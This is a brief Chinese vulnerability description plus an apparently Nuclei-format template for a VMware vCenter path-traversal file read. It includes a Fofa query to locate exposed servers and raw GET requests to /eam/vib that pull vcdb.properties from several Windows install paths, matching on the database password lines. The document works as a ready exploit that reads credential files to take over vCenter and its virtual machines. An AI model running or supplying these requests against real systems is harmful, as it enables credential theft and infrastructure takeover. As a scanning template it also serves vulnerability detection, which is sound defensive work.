漏洞描述
VMware vCenter 存在任意文件读取漏洞,可读取 vCenter 配置文件获得管理帐号密码进而控制 vCenter 平台及其管理的虚拟机集群。
由于 EAM 用户运行该存在漏洞的服务(非域用户),因此不存在 NTLM Relay 等中继攻击风险。
Fofa: title="ID_VC_Welcome"
id: vmware-vcenter-lfi
info:
name: VMware vCenter - Local File Inclusion
author: dwisiswant0
severity: high
description: VMware vCenter is vulnerable to local file inclusion.
reference:
- https://kb.vmware.com/s/article/7960893
- https://twitter.com/ptswarm/status/1316016337550938122
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 3
tags: vmware,lfi,vcenter,vuln
http:
- raw:
- |
GET /eam/vib?id={{path}}\vcdb.properties HTTP/1.1
Host: {{Hostname}}
payloads:
path:
- "C:\\ProgramData\\VMware\\VMware+VirtualCenter" # vCenter Server 5.5 and earlier (Windows 2008)
- "C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter" # Other Windows versions
- "C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx" # vCenter Server => 6.0
matchers-condition: and
matchers:
- type: regex
regex:
- "(?m)^(driver|dbtype|password(\\.encrypted)?)\\s="
- type: status
status:
- 200
# digest: 490a00463044022062804a311d52c51f4fc9a5b7922af417a89f2ece586f7d6f34842955d542634e02205a9b1b20699f4327065e3835e9757b4c91e4850b059c057cf96d5fce1b99593e:922c64590222798bb761d5b6d8e72950